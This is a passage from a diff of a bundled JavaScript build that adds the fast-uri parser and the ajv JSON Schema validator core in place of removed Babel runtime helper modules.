components.path.split("%3A").join(":"); + } + } else { + components.path = unescape(components.path); + } + } + if (options.reference !== "suffix" && components.scheme) { + uriTokens.push(components.scheme, ":"); + } + const authority = recomposeAuthority(components); + if (authority !== void 0) { + if (options.reference !== "suffix") { + uriTokens.push("//"); + } + uriTokens.push(authority); + if (components.path && components.path.charAt(0) !== "/") { + uriTokens.push("/"); + } + } + if (components.path !== void 0) { + let s7 = components.path; + if (!options.absolutePath && (!schemeHandler || !schemeHandler.absolutePath)) { + s7 = removeDotSegments(s7); + } + if (authority === void 0) { + s7 = s7.replace(/^\/\//u, "/%2F"); + } + uriTokens.push(s7); + } + if (components.query !== void 0) { + uriTokens.push("?", components.query); + } + if (components.fragment !== void 0) { + uriTokens.push("#", components.fragment); + } + return uriTokens.join(""); + } + var hexLookUp = Array.from({ length: 127 }, (_v, k6) => /[^!"$&'()*+,\-.;=_`a-z{}~]/u.test(String.fromCharCode(k6))); + function nonSimpleDomain(value2) { + let code = 0; + for (let i7 = 0, len = value2.length; i7 < len; ++i7) { + code = value2.charCodeAt(i7); + if (code > 126 || hexLookUp[code]) { + return true; + } + } + return false; + } + var URI_PARSE = /^(?:([^#/:?]+):)?(?:\/\/((?:([^#/?@]*)@)?(\[[^#/?\]]+\]|[^#/:?]*)(?::(\d*))?))?([^#?]*)(?:\?([^#]*))?(?:#((?:.|[\n\r])*))?/u; + function parse17(uri, opts) { + const options = Object.assign({}, opts); + const parsed = { + scheme: void 0, + userinfo: void 0, + host: "", + port: void 0, + path: "", + query: void 0, + fragment: void 0 + }; + const gotEncoding = uri.indexOf("%") !== -1; + let isIP = false; + if (options.reference === "suffix") + uri = (options.scheme ? options.scheme + ":" : "") + "//" + uri; + const matches2 = uri.match(URI_PARSE); + if (matches2) { + parsed.scheme = matches2[1]; + parsed.userinfo = matches2[3]; + parsed.host = matches2[4]; + parsed.port = parseInt(matches2[5], 10); + parsed.path = matches2[6] || ""; + parsed.query = matches2[7]; + parsed.fragment = matches2[8]; + if (isNaN(parsed.port)) { + parsed.port = matches2[5]; + } + if (parsed.host) { + const ipv4result = normalizeIPv4(parsed.host); + if (ipv4result.isIPV4 === false) { + const ipv6result = normalizeIPv6(ipv4result.host); + parsed.host = ipv6result.host.toLowerCase(); + isIP = ipv6result.isIPV6; + } else { + parsed.host = ipv4result.host; + isIP = true; + } + } + if (parsed.scheme === void 0 && parsed.userinfo === void 0 && parsed.host === void 0 && parsed.port === void 0 && parsed.query === void 0 && !parsed.path) { + parsed.reference = "same-document"; + } else if (parsed.scheme === void 0) { + parsed.reference = "relative"; + } else if (parsed.fragment === void 0) { + parsed.reference = "absolute"; + } else { + parsed.reference = "uri"; + } + if (options.reference && options.reference !== "suffix" && options.reference !== parsed.reference) { + parsed.error = parsed.error || "URI is not a " + options.reference + " reference."; + } + const schemeHandler = SCHEMES[(options.scheme || parsed.scheme || "").toLowerCase()]; + if (!options.unicodeSupport && (!schemeHandler || !schemeHandler.unicodeSupport)) { + if (parsed.host && (options.domainHost || schemeHandler && schemeHandler.domainHost) && isIP === false && nonSimpleDomain(parsed.host)) { + try { + parsed.host = URL.domainToASCII(parsed.host.toLowerCase()); + } catch (e10) { + parsed.error = parsed.error || "Host's domain name can not be converted to ASCII: " + e10; + } + } + } + if (!schemeHandler || schemeHandler && !schemeHandler.skipNormalize) { + if (gotEncoding && parsed.scheme !== void 0) { + parsed.scheme = unescape(parsed.scheme); + } + if (gotEncoding && parsed.host !== void 0) { + parsed.host = unescape(parsed.host); + } + if (parsed.path) { + parsed.path = escape(unescape(parsed.path)); + } + if (parsed.fragment) { + parsed.fragment = encodeURI(decodeURIComponent(parsed.fragment)); + } + } + if (schemeHandler && schemeHandler.parse) { + schemeHandler.parse(parsed, options); + } + } else { + parsed.error = parsed.error || "URI can not be parsed."; + } + return parsed; + } + var fastUri = { + SCHEMES, + normalize: normalize2, + resolve: resolve3, + resolveComponents, + equal: equal2, + serialize, + parse: parse17 + }; + module5.exports = fastUri; + module5.exports.default = fastUri; + module5.exports.fastUri = fastUri; } }); -// node_modules/@babel/runtime/helpers/toPropertyKey.js -var require_toPropertyKey = __commonJS({ - "node_modules/@babel/runtime/helpers/toPropertyKey.js"(exports28, module5) { +// node_modules/ajv/dist/runtime/uri.js +var require_uri = __commonJS({ + "node_modules/ajv/dist/runtime/uri.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - var _typeof3 = require_typeof()["default"]; - var toPrimitive = require_toPrimitive(); - function toPropertyKey(t8) { - var i7 = toPrimitive(t8, "string"); - return "symbol" == _typeof3(i7) ? i7 : i7 + ""; - } - module5.exports = toPropertyKey, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; + Object.defineProperty(exports28, "__esModule", { value: true }); + var uri = require_fast_uri(); + uri.code = 'require("ajv/dist/runtime/uri").default'; + exports28.default = uri; } }); -// node_modules/@babel/runtime/helpers/defineProperty.js -var require_defineProperty = __commonJS({ - "node_modules/@babel/runtime/helpers/defineProperty.js"(exports28, module5) { +// node_modules/ajv/dist/core.js +var require_core = __commonJS({ + "node_modules/ajv/dist/core.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - var toPropertyKey = require_toPropertyKey(); - function _defineProperty(e10, r8, t8) { - return (r8 = toPropertyKey(r8)) in e10 ? Object.defineProperty(e10, r8, { - value: t8, - enumerable: true, - configurable: true, - writable: true - }) : e10[r8] = t8, e10; + Object.defineProperty(exports28, "__esModule", { value: true }); + exports28.CodeGen = exports28.Name = exports28.nil = exports28.stringify = exports28.str = exports28._ = exports28.KeywordCxt = void 0; + var validate_1 = require_validate(); + Object.defineProperty(exports28, "KeywordCxt", { enumerable: true, get: function() { + return validate_1.KeywordCxt; + } }); + var codegen_1 = require_codegen(); + Object.defineProperty(exports28, "_", { enumerable: true, get: function() { + return codegen_1._; + } }); + Object.defineProperty(exports28, "str", { enumerable: true, get: function() { + return codegen_1.str; + } }); + Object.defineProperty(exports28, "stringify", { enumerable: true, get: function() { + return codegen_1.stringify; + } }); + Object.defineProperty(exports28, "nil", { enumerable: true, get: function() { + return codegen_1.nil; + } }); + Object.defineProperty(exports28, "Name", { enumerable: true, get: function() { + return codegen_1.Name; + } }); + Object.defineProperty(exports28, "CodeGen", { enumerable: true, get: function() { + return codegen_1.CodeGen; + } }); + var validation_error_1 = require_validation_error(); + var ref_error_1 = require_ref_error(); + var rules_1 = require_rules(); + var compile_1 = require_compile(); + var codegen_2 = require_codegen(); + var resolve_1 = require_resolve(); + var dataType_1 = require_dataType(); + var util_1 = require_util(); + var $dataRefSchema = require_data(); + var uri_1 = require_uri(); + var defaultRegExp = (str2, flags) => new RegExp(str2, flags); + defaultRegExp.code = "new RegExp"; + var META_IGNORE_OPTIONS = ["removeAdditional", "useDefaults", "coerceTypes"]; + var EXT_SCOPE_NAMES = /* @__PURE__ */ new Set([ + "validate", + "serialize", + "parse", + "wrapper", + "root", + "schema", + "keyword", + "pattern", + "formats", + "validate$data", + "func", + "obj", + "Error" + ]); + var removedOptions = { + errorDataPath: "", + format: "`validateFormats: false` can be used instead.", + nullable: '"nullable" keyword is supported by default.', + jsonPointers: "Deprecated jsPropertySyntax can be used instead.", + extendRefs: "Deprecated ignoreKeywordsWithRef can be used instead.", + missingRefs: "Pass empty schema with $id that should be ignored to ajv.addSchema.", + processCode: "Use option `code: {process: (code, schemaEnv: object) => string}`", + sourceCode: "Use option `code: {source: true}`", + strictDefaults: "It is default now, see option `strict`.", + strictKeywords: "It is default now, see option `strict`.", + uniqueItems: '"uniqueItems" keyword is always validated.', + unknownFormats: "Disable strict mode or pass `true` to `ajv.addFormat` (or `formats` option).", + cache: "Map is used as cache, schema object as key.", + serialize: "Map is used as cache, schema object as key.", + ajvErrors: "It is default now." + }; + var deprecatedOptions = { + ignoreKeywordsWithRef: "", + jsPropertySyntax: "", + unicode: '"minLength"/"maxLength" account for unicode characters by default.' + }; + var MAX_EXPRESSION = 200; + function requiredOptions(o7) { + var _a2, _b, _c, _d, _e2, _f, _g, _h, _j, _k, _l, _m, _o, _p, _q, _r, _s, _t2, _u, _v, _w, _x, _y, _z, _0; + const s7 = o7.strict; + const _optz = (_a2 = o7.code) === null || _a2 === void 0 ? void 0 : _a2.optimize; + const optimize = _optz === true || _optz === void 0 ? 1 : _optz || 0; + const regExp = (_c = (_b = o7.code) === null || _b === void 0 ? void 0 : _b.regExp) !== null && _c !== void 0 ? _c : defaultRegExp; + const uriResolver = (_d = o7.uriResolver) !== null && _d !== void 0 ? _d : uri_1.default; + return { + strictSchema: (_f = (_e2 = o7.strictSchema) !== null && _e2 !== void 0 ? _e2 : s7) !== null && _f !== void 0 ? _f : true, + strictNumbers: (_h = (_g = o7.strictNumbers) !== null && _g !== void 0 ? _g : s7) !== null && _h !== void 0 ? _h : true, + strictTypes: (_k = (_j = o7.strictTypes) !== null && _j !== void 0 ? _j : s7) !== null && _k !== void 0 ? _k : "log", + strictTuples: (_m = (_l = o7.strictTuples) !== null && _l !== void 0 ? _l : s7) !== null && _m !== void 0 ? _m : "log", + strictRequired: (_p = (_o = o7.strictRequired) !== null && _o !== void 0 ? _o : s7) !== null && _p !== void 0 ? _p : false, + code: o7.code ? { ...o7.code, optimize, regExp } : { optimize, regExp }, + loopRequired: (_q = o7.loopRequired) !== null && _q !== void 0 ? _q : MAX_EXPRESSION, + loopEnum: (_r = o7.loopEnum) !== null && _r !== void 0 ? _r : MAX_EXPRESSION, + meta: (_s = o7.meta) !== null && _s !== void 0 ? _s : true, + messages: (_t2 = o7.messages) !== null && _t2 !== void 0 ? _t2 : true, + inlineRefs: (_u = o7.inlineRefs) !== null && _u !== void 0 ? _u : true, + schemaId: (_v = o7.schemaId) !== null && _v !== void 0 ? _v : "$id", + addUsedSchema: (_w = o7.addUsedSchema) !== null && _w !== void 0 ? _w : true, + validateSchema: (_x = o7.validateSchema) !== null && _x !== void 0 ? _x : true, + validateFormats: (_y = o7.validateFormats) !== null && _y !== void 0 ? _y : true, + unicodeRegExp: (_z = o7.unicodeRegExp) !== null && _z !== void 0 ? _z : true, + int32range: (_0 = o7.int32range) !== null && _0 !== void 0 ? _0 : true, + uriResolver + }; + } + var Ajv7 = class { + constructor(opts = {}) { + this.schemas = {}; + this.refs = {}; + this.formats = {}; + this._compilations = /* @__PURE__ */ new Set(); + this._loading = {}; + this._cache = /* @__PURE__ */ new Map(); + opts = this.opts = { ...opts, ...requiredOptions(opts) }; + const { es5, lines } = this.opts.code; + this.scope = new codegen_2.ValueScope({ scope: {}, prefixes: EXT_SCOPE_NAMES, es5, lines }); + this.logger = getLogger(opts.logger); + const formatOpt = opts.validateFormats; + opts.validateFormats = false; + this.RULES = (0, rules_1.getRules)(); + checkOptions.call(this, removedOptions, opts, "NOT SUPPORTED"); + checkOptions.call(this, deprecatedOptions, opts, "DEPRECATED", "warn"); + this._metaOpts = getMetaSchemaOptions.call(this); + if (opts.formats) + addInitialFormats.call(this); + this._addVocabularies(); + this._addDefaultMetaSchema(); + if (opts.keywords) + addInitialKeywords.call(this, opts.keywords); + if (typeof opts.meta == "object") + this.addMetaSchema(opts.meta); + addInitialSchemas.call(this); + opts.validateFormats = formatOpt; + } + _addVocabularies() { + this.addKeyword("$async"); + } + _addDefaultMetaSchema() { + const { $data, meta, schemaId } = this.opts; + let _dataRefSchema = $dataRefSchema; + if (schemaId === "id") { + _dataRefSchema = { ...$dataRefSchema }; + _dataRefSchema.id = _dataRefSchema.$id; + delete _dataRefSchema.$id; + } + if (meta && $data) + this.addMetaSchema(_dataRefSchema, _dataRefSchema[schemaId], false); + } + defaultMeta() { + const { meta, schemaId } = this.opts; + return this.opts.defaultMeta = typeof meta == "object" ? meta[schemaId] || meta : void 0; + } + validate(schemaKeyRef, data) { + let v8; + if (typeof schemaKeyRef == "string") { + v8 = this.getSchema(schemaKeyRef); + if (!v8) + throw new Error(`no schema with key or ref "${schemaKeyRef}"`); + } else { + v8 = this.compile(schemaKeyRef); + } + const valid = v8(data); + if (!("$async" in v8)) + this.errors = v8.errors; + return valid; + } + compile(schema8, _meta) { + const sch = this._addSchema(schema8, _meta); + return sch.validate || this._compileSchemaEnv(sch); + } + compileAsync(schema8, meta) { + if (typeof this.opts.loadSchema != "function") { + throw new Error("options.loadSchema should be a function"); + } + const { loadSchema } = this.opts; + return runCompileAsync.call(this, schema8, meta); + async function runCompileAsync(_schema, _meta) { + await loadMetaSchema.call(this, _schema.$schema); + const sch = this._addSchema(_schema, _meta); + return sch.validate || _compileAsync.call(this, sch); + } + async function loadMetaSchema($ref) { + if ($ref && !this.getSchema($ref)) { + await runCompileAsync.call(this, { $ref }, true); + } + } + async function _compileAsync(sch) { + try { + return this._compileSchemaEnv(sch); + } catch (e10) { + if (!(e10 instanceof ref_error_1.default)) + throw e10; + checkLoaded.call(this, e10); + await loadMissingSchema.call(this, e10.missingSchema); + return _compileAsync.call(this, sch); + } + } + function checkLoaded({ missingSchema: ref, missingRef }) { + if (this.refs[ref]) { + throw new Error(`AnySchema ${ref} is loaded but ${missingRef} cannot be resolved`); + } + } + async function loadMissingSchema(ref) { + const _schema = await _loadSchema.call(this, ref); + if (!this.refs[ref]) + await loadMetaSchema.call(this, _schema.$schema); + if (!this.refs[ref]) + this.addSchema(_schema, ref, meta); + } + async function _loadSchema(ref) { + const p7 = this._loading[ref]; + if (p7) + return p7; + try { + return await (this._loading[ref] = loadSchema(ref)); + } finally { + delete this._loading[ref]; + } + } + } + // Adds schema to the instance + addSchema(schema8, key, _meta, _validateSchema = this.opts.validateSchema) { + if (Array.isArray(schema8)) { + for (const sch of schema8) + this.addSchema(sch, void 0, _meta, _validateSchema); + return this; + } + let id; + if (typeof schema8 === "object") { + const { schemaId } = this.opts; + id = schema8[schemaId]; + if (id !== void 0 && typeof id != "string") { + throw new Error(`schema ${schemaId} must be string`); + } + } + key = (0, resolve_1.normalizeId)(key || id); + this._checkUnique(key); + this.schemas[key] = this._addSchema(schema8, _meta, key, _validateSchema, true); + return this; + } + // Add schema that will be used to validate other schemas + // options in META_IGNORE_OPTIONS are alway set to false + addMetaSchema(schema8, key, _validateSchema = this.opts.validateSchema) { + this.addSchema(schema8, key, true, _validateSchema); + return this; + } + // Validate schema against its meta-schema + validateSchema(schema8, throwOrLogError) { + if (typeof schema8 == "boolean") + return true; + let $schema; + $schema = schema8.$schema; + if ($schema !== void 0 && typeof $schema != "string") { + throw new Error("$schema must be a string"); + } + $schema = $schema || this.opts.defaultMeta || this.defaultMeta(); + if (!$schema) { + this.logger.warn("meta-schema not available"); + this.errors = null; + return true; + } + const valid = this.validate($schema, schema8); + if (!valid && throwOrLogError) { + const message = "schema is invalid: " + this.errorsText(); + if (this.opts.validateSchema === "log") + this.logger.error(message); + else + throw new Error(message); + } + return valid; + } + // Get compiled schema by `key` or `ref`. + // (`key` that was passed to `addSchema` or full schema reference - `schema.$id` or resolved id) + getSchema(keyRef) { + let sch; + while (typeof (sch = getSchEnv.call(this, keyRef)) == "string") + keyRef = sch; + if (sch === void 0) { + const { schemaId } = this.opts; + const root2 = new compile_1.SchemaEnv({ schema: {}, schemaId }); + sch = compile_1.resolveSchema.call(this, root2, keyRef); + if (!sch) + return; + this.refs[keyRef] = sch; + } + return sch.validate || this._compileSchemaEnv(sch); + } + // Remove cached schema(s). + // If no parameter is passed all schemas but meta-schemas are removed. + // If RegExp is passed all schemas with key/id matching pattern but meta-schemas are removed. + // Even if schema is referenced by other schemas it still can be removed as other schemas have local references. + removeSchema(schemaKeyRef) { + if (schemaKeyRef instanceof RegExp) { + this._removeAllSchemas(this.schemas, schemaKeyRef); + this._removeAllSchemas(this.refs, schemaKeyRef); + return this; + } + switch (typeof schemaKeyRef) { + case "undefined": + this._removeAllSchemas(this.schemas); + this._removeAllSchemas(this.refs); + this._cache.clear(); + return this; + case "string": { + const sch = getSchEnv.call(this, schemaKeyRef); + if (typeof sch == "object") + this._cache.delete(sch.schema); + delete this.schemas[schemaKeyRef]; + delete this.refs[schemaKeyRef]; + return this; + } + case "object": { + const cacheKey = schemaKeyRef; + this._cache.delete(cacheKey); + let id = schemaKeyRef[this.opts.schemaId]; + if (id) { + id = (0, resolve_1.normalizeId)(id); + delete this.schemas[id]; + delete this.refs[id]; + } + return this; + } + default: + throw new Error("ajv.removeSchema: invalid parameter"); + } + } + // add "vocabulary" - a collection of keywords + addVocabulary(definitions) { + for (const def of definitions) + this.addKeyword(def); + return this; + } + addKeyword(kwdOrDef, def) { + let keyword; + if (typeof kwdOrDef == "string") { + keyword = kwdOrDef; + if (typeof def == "object") { + this.logger.warn("these parameters are deprecated, see docs for addKeyword"); + def.keyword = keyword; + } + } else if (typeof kwdOrDef == "object" && def === void 0) { + def = kwdOrDef; + keyword = def.keyword; + if (Array.isArray(keyword) && !keyword.length) { + throw new Error("addKeywords: keyword must be string or non-empty array"); + } + } else { + throw new Error("invalid addKeywords parameters"); + } + checkKeyword.call(this, keyword, def); + if (!def) { + (0, util_1.eachItem)(keyword, (kwd) => addRule.call(this, kwd)); + return this; + } + keywordMetaschema.call(this, def); + const definition = { + ...def, + type: (0, dataType_1.getJSONTypes)(def.type), + schemaType: (0, dataType_1.getJSONTypes)(def.schemaType) + }; + (0, util_1.eachItem)(keyword, definition.type.length === 0 ? (k6) => addRule.call(this, k6, definition) : (k6) => definition.type.forEach((t8) => addRule.call(this, k6, definition, t8))); + return this; + } + getKeyword(keyword) { + const rule = this.RULES.all[keyword]; + return typeof rule == "object" ? rule.definition : !!rule; + } + // Remove keyword + removeKeyword(keyword) { + const { RULES } = this; + delete RULES.keywords[keyword]; + delete RULES.all[keyword]; + for (const group2 of RULES.rules) { + const i7 = group2.rules.findIndex((rule) => rule.keyword === keyword); + if (i7 >= 0) + group2.rules.splice(i7, 1); + } + return this; + } + // Add format + addFormat(name2, format5) { + if (typeof format5 == "string") + format5 = new RegExp(format5); + this.formats[name2] = format5; + return this; + } + errorsText(errors = this.errors, { separator = ", ", dataVar = "data" } = {}) { + if (!errors || errors.length === 0) + return "No errors"; + return errors.map((e10) => `${dataVar}${e10.instancePath} ${e10.message}`).reduce((text, msg) => text + separator + msg); + } + $dataMetaSchema(metaSchema, keywordsJsonPointers) { + const rules = this.RULES.all; + metaSchema = JSON.parse(JSON.stringify(metaSchema)); + for (const jsonPointer of keywordsJsonPointers) { + const segments = jsonPointer.split("/").slice(1); + let keywords = metaSchema; + for (const seg of segments) + keywords = keywords[seg]; + for (const key in rules) { + const rule = rules[key]; + if (typeof rule != "object") + continue; + const { $data } = rule.definition; + const schema8 = keywords[key]; + if ($data && schema8) + keywords[key] = schemaOrData(schema8); + } + } + return metaSchema; + } + _removeAllSchemas(schemas5, regex) { + for (const keyRef in schemas5) { + const sch = schemas5[keyRef]; + if (!regex || regex.test(keyRef)) { + if (typeof sch == "string") { + delete schemas5[keyRef]; + } else if (sch && !sch.meta) { + this._cache.delete(sch.schema); + delete schemas5[keyRef]; + } + } + } + } + _addSchema(schema8, meta, baseId, validateSchema4 = this.opts.validateSchema, addSchema = this.opts.addUsedSchema) { + let id; + const { schemaId } = this.opts; + if (typeof schema8 == "object") { + id = schema8[schemaId]; + } else { + if (this.opts.jtd) + throw new Error("schema must be object"); + else if (typeof schema8 != "boolean") + throw new Error("schema must be object or boolean"); + } + let sch = this._cache.get(schema8); + if (sch !== void 0) + return sch; + baseId = (0, resolve_1.normalizeId)(id || baseId); + const localRefs = resolve_1.getSchemaRefs.call(this, schema8, baseId); + sch = new compile_1.SchemaEnv({ schema: schema8, schemaId, meta, baseId, localRefs }); + this._cache.set(sch.schema, sch); + if (addSchema && !baseId.startsWith("#")) { + if (baseId) + this._checkUnique(baseId); + this.refs[baseId] = sch; + } + if (validateSchema4) + this.validateSchema(schema8, true); + return sch; + } + _checkUnique(id) { + if (this.schemas[id] || this.refs[id]) { + throw new Error(`schema with key or id "${id}" already exists`); + } + } + _compileSchemaEnv(sch) { + if (sch.meta) + this._compileMetaSchema(sch); + else + compile_1.compileSchema.call(this, sch); + if (!sch.validate) + throw new Error("ajv implementation error"); + return sch.validate; + } + _compileMetaSchema(sch) { + const currentOpts = this.opts; + this.opts = this._metaOpts; + try { + compile_1.compileSchema.call(this, sch); + } finally { + this.opts = currentOpts; + } + } + }; + Ajv7.ValidationError = validation_error_1.default; + Ajv7.MissingRefError = ref_error_1.default; + exports28.default = Ajv7; + function checkOptions(checkOpts, options, msg, log3 = "error") { + for (const key in checkOpts) { + const opt = key; + if (opt in options) + this.logger[log3](`${msg}: option ${key}. ${checkOpts[opt]}`); + } + } + function getSchEnv(keyRef) { + keyRef = (0, resolve_1.normalizeId)(keyRef); + return this.schemas[keyRef] || this.refs[keyRef]; + } + function addInitialSchemas() { + const optsSchemas = this.opts.schemas; + if (!optsSchemas) + return; + if (Array.isArray(optsSchemas)) + this.addSchema(optsSchemas); + else + for (const key in optsSchemas) + this.addSchema(optsSchemas[key], key); + } + function addInitialFormats() { + for (const name2 in this.opts.formats) { + const format5 = this.opts.formats[name2]; + if (format5) + this.addFormat(name2, format5); + } + } + function addInitialKeywords(defs) { + if (Array.isArray(defs)) { + this.addVocabulary(defs); + return; + } + this.logger.warn("keywords option as map is deprecated, pass array"); + for (const keyword in defs) { + const def = defs[keyword]; + if (!def.keyword) + def.keyword = keyword; + this.addKeyword(def); + } + } + function getMetaSchemaOptions() { + const metaOpts = { ...this.opts }; + for (const opt of META_IGNORE_OPTIONS) + delete metaOpts[opt]; + return metaOpts; + } + var noLogs = { log() { + }, warn() { + }, error() { + } }; + function getLogger(logger) { + if (logger === false) + return noLogs; + if (logger === void 0) + return console; + if (logger.log && logger.warn && logger.error) + return logger; + throw new Error("logger must implement log, warn and error methods"); + } + var KEYWORD_NAME = /^[a-z_$][a-z0-9_$:-]*$/i; + function checkKeyword(keyword, def) { + const { RULES } = this; + (0, util_1.eachItem)(keyword, (kwd) => { + if (RULES.keywords[kwd]) + throw new Error(`Keyword ${kwd} is already defined`); + if (!KEYWORD_NAME.test(kwd)) + throw new Error(`Keyword ${kwd} has invalid name`); + }); + if (!def) + return; + if (def.$data && !("code" in def || "validate" in def)) { + throw new Error('$data keyword must have "code" or "validate" function'); + } + } + function addRule(keyword, definition, dataType) { + var _a2; + const post = definition === null || definition === void 0 ? void 0 : definition.post; + if (dataType && post) + throw new Error('keyword with "post" flag cannot have "type"'); + const { RULES } = this; + let ruleGroup = post ? RULES.post : RULES.rules.find(({ type: t8 }) => t8 === dataType); + if (!ruleGroup) { + ruleGroup = { type: dataType, rules: [] }; + RULES.rules.push(ruleGroup); + } + RULES.keywords[keyword] = true; + if (!definition) + return; + const rule = { + keyword, + definition: { + ...definition, + type: (0, dataType_1.getJSONTypes)(definition.type), + schemaType: (0, dataType_1.getJSONTypes)(definition.schemaType) + } + }; + if (definition.before) + addBeforeRule.call(this, ruleGroup, rule, definition.before); + else + ruleGroup.rules.push(rule); + RULES.all[keyword] = rule; + (_a2 = definition.implements) === null || _a2 === void 0 ? void 0 : _a2.forEach((kwd) => this.addKeyword(kwd)); + } + function addBeforeRule(ruleGroup, rule, before2) { + const i7 = ruleGroup.rules.findIndex((_rule) => _rule.keyword === before2); + if (i7 >= 0) { + ruleGroup.rules.splice(i7, 0, rule); + } else { + ruleGroup.rules.push(rule); + this.logger.warn(`rule ${before2} is not defined`); + } + } + function keywordMetaschema(def) { + let { metaSchema } = def; + if (metaSchema === void 0) + return; + if (def.$data && this.opts.$data) + metaSchema = schemaOrData(metaSchema); + def.validateSchema = this.compile(metaSchema, true); + } + var $dataRef = { + $ref: "https://raw.githubusercontent.com/ajv-validator/ajv/master/lib/refs/data.json#" + }; + function schemaOrData(schema8) { + return { anyOf: [schema8, $dataRef] }; } - module5.exports = _defineProperty, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; } }); -// node_modules/@babel/runtime/helpers/arrayLikeToArray.js -var require_arrayLikeToArray = __commonJS({ - "node_modules/@babel/runtime/helpers/arrayLikeToArray.js"(exports28, module5) { +// node_modules/ajv/dist/vocabularies/core/id.js +var require_id = __commonJS({ + "node_modules/ajv/dist/vocabularies/core/id.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - function _arrayLikeToArray3(r8, a7) { - (null == a7 || a7 > r8.length) && (a7 = r8.length); - for (var e10 = 0, n7 = Array(a7); e10 < a7; e10++) - n7[e10] = r8[e10]; - return n7; - } - module5.exports = _arrayLikeToArray3, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; + Object.defineProperty(exports28, "__esModule", { value: true }); + var def = { + keyword: "id", + code() { + throw new Error('NOT SUPPORTED: keyword "id", use "$id" for schema ID'); + } + }; + exports28.default = def; } }); -// node_modules/@babel/runtime/helpers/arrayWithoutHoles.js -var require_arrayWithoutHoles = __commonJS({ - "node_modules/@babel/runtime/helpers/arrayWithoutHoles.js"(exports28, module5) { +// node_modules/ajv/dist/vocabularies/core/ref.js +var require_ref = __commonJS({ + "node_modules/ajv/dist/vocabularies/core/ref.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - var arrayLikeToArray = require_arrayLikeToArray(); - function _arrayWithoutHoles3(r8) { - if (Array.isArray(r8)) - return arrayLikeToArray(r8); + Object.defineProperty(exports28, "__esModule", { value: true }); + exports28.callRef = exports28.getValidate = void 0; + var ref_error_1 = require_ref_error(); + var code_1 = require_code2(); + var codegen_1 = require_codegen(); + var names_1 = require_names(); + var compile_1 = require_compile(); + var util_1 = require_util(); + var def = { + keyword: "$ref", + schemaType: "string", + code(cxt) { + const { gen, schema: $ref, it: it2 } = cxt; + const { baseId, schemaEnv: env3, validateName, opts, self: self2 } = it2; + const { root: root2 } = env3; + if (($ref === "#" || $ref === "#/") && baseId === root2.baseId) + return callRootRef(); + const schOrEnv = compile_1.resolveRef.call(self2, root2, baseId, $ref); + if (schOrEnv === void 0) + throw new ref_error_1.default(it2.opts.uriResolver, baseId, $ref); + if (schOrEnv instanceof compile_1.SchemaEnv) + return callValidate(schOrEnv); + return inlineRefSchema(schOrEnv); + function callRootRef() { + if (env3 === root2) + return callRef(cxt, validateName, env3, env3.$async); + const rootName = gen.scopeValue("root", { ref: root2 }); + return callRef(cxt, (0, codegen_1._)`${rootName}.validate`, root2, root2.$async); + } + function callValidate(sch) { + const v8 = getValidate(cxt, sch); + callRef(cxt, v8, sch, sch.$async); + } + function inlineRefSchema(sch) { + const schName = gen.scopeValue("schema", opts.code.source === true ? { ref: sch, code: (0, codegen_1.stringify)(sch) } : { ref: sch }); + const valid = gen.name("valid"); + const schCxt = cxt.subschema({ + schema: sch, + dataTypes: [], + schemaPath: codegen_1.nil, + topSchemaRef: schName, + errSchemaPath: $ref + }, valid); + cxt.mergeEvaluated(schCxt); + cxt.ok(valid); + } + } + }; + function getValidate(cxt, sch) { + const { gen } = cxt; + return sch.validate ? gen.scopeValue("validate", { ref: sch.validate }) : (0, codegen_1._)`${gen.scopeValue("wrapper", { ref: sch })}.validate`; } - module5.exports = _arrayWithoutHoles3, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; + exports28.getValidate = getValidate; + function callRef(cxt, v8, sch, $async) { + const { gen, it: it2 } = cxt; + const { allErrors, schemaEnv: env3, opts } = it2; + const passCxt = opts.passContext ? names_1.default.this : codegen_1.nil; + if ($async) + callAsyncRef(); + else + callSyncRef(); + function callAsyncRef() { + if (!env3.$async) + throw new Error("async schema referenced by sync schema"); + const valid = gen.let("valid"); + gen.try(() => { + gen.code((0, codegen_1._)`await ${(0, code_1.callValidateCode)(cxt, v8, passCxt)}`); + addEvaluatedFrom(v8); + if (!allErrors) + gen.assign(valid, true); + }, (e10) => { + gen.if((0, codegen_1._)`!(${e10} instanceof ${it2.ValidationError})`, () => gen.throw(e10)); + addErrorsFrom(e10); + if (!allErrors) + gen.assign(valid, false); + }); + cxt.ok(valid); + } + function callSyncRef() { + cxt.result((0, code_1.callValidateCode)(cxt, v8, passCxt), () => addEvaluatedFrom(v8), () => addErrorsFrom(v8)); + } + function addErrorsFrom(source) { + const errs = (0, codegen_1._)`${source}.errors`; + gen.assign(names_1.default.vErrors, (0, codegen_1._)`${names_1.default.vErrors} === null ? ${errs} : ${names_1.default.vErrors}.concat(${errs})`); + gen.assign(names_1.default.errors, (0, codegen_1._)`${names_1.default.vErrors}.length`); + } + function addEvaluatedFrom(source) { + var _a2; + if (!it2.opts.unevaluated) + return; + const schEvaluated = (_a2 = sch === null || sch === void 0 ? void 0 : sch.validate) === null || _a2 === void 0 ? void 0 : _a2.evaluated; + if (it2.props !== true) { + if (schEvaluated && !schEvaluated.dynamicProps) { + if (schEvaluated.props !== void 0) { + it2.props = util_1.mergeEvaluated.props(gen, schEvaluated.props, it2.props); + } + } else { + const props = gen.var("props", (0, codegen_1._)`${source}.evaluated.props`); + it2.props = util_1.mergeEvaluated.props(gen, props, it2.props, codegen_1.Name); + } + } + if (it2.items !== true) { + if (schEvaluated && !schEvaluated.dynamicItems) { + if (schEvaluated.items !== void 0) { + it2.items = util_1.mergeEvaluated.items(gen, schEvaluated.items, it2.items); + } + } else { + const items = gen.var("items", (0, codegen_1._)`${source}.evaluated.items`); + it2.items = util_1.mergeEvaluated.items(gen, items, it2.items, codegen_1.Name); + } + } + } + } + exports28.callRef = callRef; + exports28.default = def; } }); -// node_modules/@babel/runtime/helpers/iterableToArray.js -var require_iterableToArray = __commonJS({ - "node_modules/@babel/runtime/helpers/iterableToArray.js"(exports28, module5) { +// node_modules/ajv/dist/vocabularies/core/index.js +var require_core2 = __commonJS({ + "node_modules/ajv/dist/vocabularies/core/index.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - function _iterableToArray3(r8) { - if ("undefined" != typeof Symbol && null != r8[Symbol.iterator] || null 